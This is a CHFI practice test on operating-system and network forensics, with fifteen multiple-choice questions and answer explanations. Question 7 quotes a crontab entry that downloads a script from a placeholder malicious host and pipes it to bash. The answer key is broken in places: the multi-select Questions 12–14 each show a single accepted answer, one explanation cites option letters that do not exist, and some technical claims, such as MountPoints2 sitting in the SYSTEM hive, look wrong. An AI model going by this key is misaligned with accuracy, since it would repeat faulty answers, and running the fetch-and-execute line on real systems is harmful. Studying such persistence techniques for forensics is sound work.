CHFI OS and Network Forensics Practice Test 7 — 15 Questions

Question 1

During a forensic investigation of a Windows 10 system, an examiner finds the following registry key: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count. The values contain Rot‑13 encoded data. What is the primary purpose of this artifact?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Track programs executed by the user. The UserAssist key under NTUSER.DAT tracks GUI-based program executions via the Windows shell. The {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} GUID corresponds to the 'Exec' subkey, which logs each executable launched by the user, with the path and count stored in Rot‑13 encoded format. This artifact is specifically designed to record program execution history, not file opens, USB devices, or network shares.

Answer

Store recently opened documents (MRU list)

Answer

Record USB device insertion history

Answer

Log network share connections

Question 2

An analyst is examining a Linux server and issues the command: cat /var/log/auth.log | grep 'Failed password' | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c. What is the analyst most likely trying to determine?

Accepted Answer

The IP addresses with the most failed SSH login attempts. The command filters /var/log/auth.log for lines containing 'Failed password', extracts the date, time, user, and source IP (fields $1, $2, $3, $9, $11), sorts them, and counts unique occurrences with uniq -c. Sorting by count reveals which IP addresses have the highest number of failed SSH login attempts, indicating a brute-force attack pattern. In CHFI, understanding log analysis is crucial for forensic investigations of unauthorized access attempts.

Answer

The list of all sudo commands executed

Answer

The number of distinct users who successfully logged in

Answer

The total number of successful logins

Question 3

Which Windows registry hive should be examined to determine the last time a specific external USB drive was connected to a system?

Accepted Answer

HKLM\SYSTEM. The HKLM\SYSTEM hive contains the `Enum\USBSTOR` and `MountPoints2` keys, which store detailed logs of every USB device that has been connected to the system, including the last connection timestamp. Specifically, the `SYSTEM\CurrentControlSet\Enum\USBSTOR` key records the device instance ID and the `Properties\{83da6326-97a6-4088-9453-a1923f573b29}` subkey holds the `LastConnected` timestamp in FILETIME format, making it the definitive source for determining the last connection time of an external USB drive.

Answer

HKLM\SAM

Answer

HKLM\SOFTWARE

Answer

HKLM\SECURITY

Question 4

A forensic analyst is investigating a macOS system and wants to review a timeline of past application launches and file accesses across multiple days. Which forensic artifact is BEST suited for this purpose?

Accepted Answer

Unified logging (log show). Unified logging (log show) on macOS aggregates system-wide events, including application launches and file accesses, with timestamps across multiple days. It provides a comprehensive timeline via the `log show --predicate` command, making it the best choice for this forensic task.

Answer

FSEvents log files

Answer

.plist files in ~/Library/Preferences

Answer

~/Library/Application Support/com.apple.sharedfilelist

Question 5

A network analyst captures a packet with Wireshark showing a TCP SYN packet from IP 10.0.0.5 to 192.168.1.10 port 443, followed immediately by a SYN‑ACK from 192.168.1.10 to 10.0.0.5, then an RST from 10.0.0.5. What does this sequence MOST likely indicate?

Accepted Answer

A TCP SYN scan (stealth scan). A SYN followed by SYN‑ACK and then RST is typical of a port scan where the scanner sends a SYN, receives a SYN‑ACK (port open), and then immediately resets the connection to avoid completing the handshake.

Answer

A man‑in‑the‑middle attack

Answer

A denial‑of‑service (SYN flood) attack

Answer

A normal HTTPS session initiation

Question 6

Which Windows Event ID is generated when a new service is installed on a system?

Accepted Answer

7045. Event ID 7045 is logged in the Windows System event log when a new service is installed on the system. This event is generated by the Service Control Manager (SCM) and records the service name, binary path, service type, and start mode, making it a key artifact for forensic analysis of unauthorized service installations.

Answer

4624

Answer

4648

Answer

4720

Question 7

During an incident response, an analyst finds the following entry in /etc/crontab: */5 * * * * root /bin/bash -c 'curl -s http://malicious.com/script.sh | bash'. What is the MOST likely purpose of this entry?

Accepted Answer

Persistence mechanism to maintain access. The crontab entry executes a command every 5 minutes that downloads and runs a script from a remote server. This is a classic persistence technique used by attackers to ensure that even if the initial access vector is removed, the malicious code will be re-executed on a regular schedule, maintaining their foothold on the system.

Answer

Log cleanup tool

Answer

System backup script

Answer

Software update process

Question 8

A forensic examiner needs to analyze the contents of a Windows prefetch file (.pf) to determine the last execution time of an application. Which tool would BEST accomplish this task?

Accepted Answer

PECmd. PECmd (Prefetch Explorer Command-line) is a dedicated forensic tool from Eric Zimmerman's suite designed specifically to parse Windows prefetch files (.pf). It extracts detailed metadata including the last execution time, run count, and referenced files, making it the best choice for this task. Built-in Windows tools do not provide a 'prefetch.exe' utility, and other options like ShellBags Explorer or JumpLister target different artifacts (registry shell bags and jump lists, respectively).

Answer

prefetch.exe (built‑in Windows tool)

Answer

ShellBags Explorer

Answer

JumpLister

Question 9

In Linux, which file contains hashed user passwords?

Accepted Answer

/etc/shadow. The /etc/shadow file stores hashed user passwords along with password aging information, and is readable only by root to enhance security. In contrast, /etc/passwd contains user account information but stores only a placeholder (usually 'x' or '*') for the password hash, not the hash itself. This separation is a standard Linux security mechanism to prevent unauthorized access to password hashes.

Answer

/etc/gshadow

Answer

/etc/group

Answer

/etc/passwd

Question 10

An analyst reviews NetFlow logs and sees a single internal host communicating with multiple external IPs on port 53 (DNS) over a short period, with each session transferring approximately 1500 bytes. What suspicious activity might this indicate?

Accepted Answer

DNS tunneling for data exfiltration. This behavior is classic for DNS tunneling, where an internal host encodes data into DNS queries or responses to exfiltrate information. The consistent 1500-byte payload size matches the maximum Ethernet MTU, suggesting data is being fragmented into DNS packets to bypass security controls. Normal DNS queries are typically much smaller (50-100 bytes), and the high frequency of connections to multiple external IPs indicates a covert channel rather than standard resolution.

Answer

A DNS amplification attack

Answer

Dynamic DNS update attempts

Answer

Normal DNS resolution for web browsing

Question 11

A Windows system has been compromised. The analyst finds a registry run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run with value name 'UpdateService' pointing to C:\Users\Public\svchost.exe. Why is this particularly suspicious?

Accepted Answer

The path is not typical for svchost.exe, which resides in System32. The legitimate svchost.exe is a critical Windows system binary located in C:\Windows\System32. An executable named svchost.exe running from C:\Users\Public\ is a classic masquerading technique used by malware to evade detection by mimicking a trusted process name while residing in a user-writable, non-standard directory. This path deviation is the primary red flag because system processes should never execute from user profile or public folders.

Answer

Run keys are only for startup programs, not services

Answer

The run key is disabled in Windows 10

Answer

The registry value name 'UpdateService' is too generic

Question 12

Which TWO Windows artifacts can be used to identify recently accessed files or folders on a system? (Select the two best answers.)

Accepted Answer

LNK files. LNK files (shortcut files) contain metadata about the target file or folder, including the last accessed timestamp and the path of the accessed item. When a user opens a file or folder from a local or network location, Windows automatically creates or updates the corresponding LNK file in the user's Recent folder, making it a reliable artifact for identifying recently accessed files and folders.

Answer

Event ID 4624

Answer

SAM hive

Answer

Prefetch files

Question 13

A forensic examiner is analyzing a Linux system suspected of being used as a C2 server. Which THREE artifacts should the examiner prioritize to find evidence of command execution and persistence? (Select three.)

Accepted Answer

~/.bash_history. A is correct because ~/.bash_history records the command-line history for the user, providing a direct log of executed commands. This is a primary artifact for identifying attacker actions, such as establishing persistence or running C2-related tools, as it captures all commands typed in the shell by default.

Answer

/var/log/syslog

Answer

/etc/passwd

Question 14

Which TWO of the following are common persistence mechanisms used by malware on Windows systems? (Select two.)

Accepted Answer

Scheduled Tasks. Scheduled Tasks (C) and Registry Run keys (E) are both well-documented persistence mechanisms used by malware on Windows. Scheduled Tasks allow an attacker to execute malicious code at specific times or system events via the Task Scheduler service, while Registry Run keys (e.g., HKLM\Software\Microsoft\Windows\CurrentVersion\Run) cause programs to launch automatically at user logon. Both are commonly abused because they are native Windows features that do not require administrative privileges to set (for user-level Run keys) and can be hidden among legitimate entries. In the CHFI exam, it is important to distinguish between artifacts that indicate execution (like Prefetch and LNK files) and actual persistence mechanisms that ensure the malware runs again automatically.

Answer

USBSTOR registry key

Answer

Prefetch files

Answer

LNK files

Question 15

A forensic analyst finds a suspicious .plist file in /Library/LaunchDaemons/ on a macOS system. The file contains a key "ProgramArguments" with a path to a script in /tmp. Which persistence mechanism does this indicate?

Accepted Answer

Launch daemon. The .plist file located in /Library/LaunchDaemons/ with a 'ProgramArguments' key pointing to a script in /tmp is the standard configuration for a launch daemon. Launch daemons are system-wide background processes managed by launchd, and they are defined by plist files in /Library/LaunchDaemons/ (for system-wide daemons) or /System/Library/LaunchDaemons/ (for Apple-provided daemons). The presence of 'ProgramArguments' specifies the executable or script to run, making this a classic launch daemon persistence mechanism.

Answer

Cron job

Answer

Login item

Answer

Kernel extension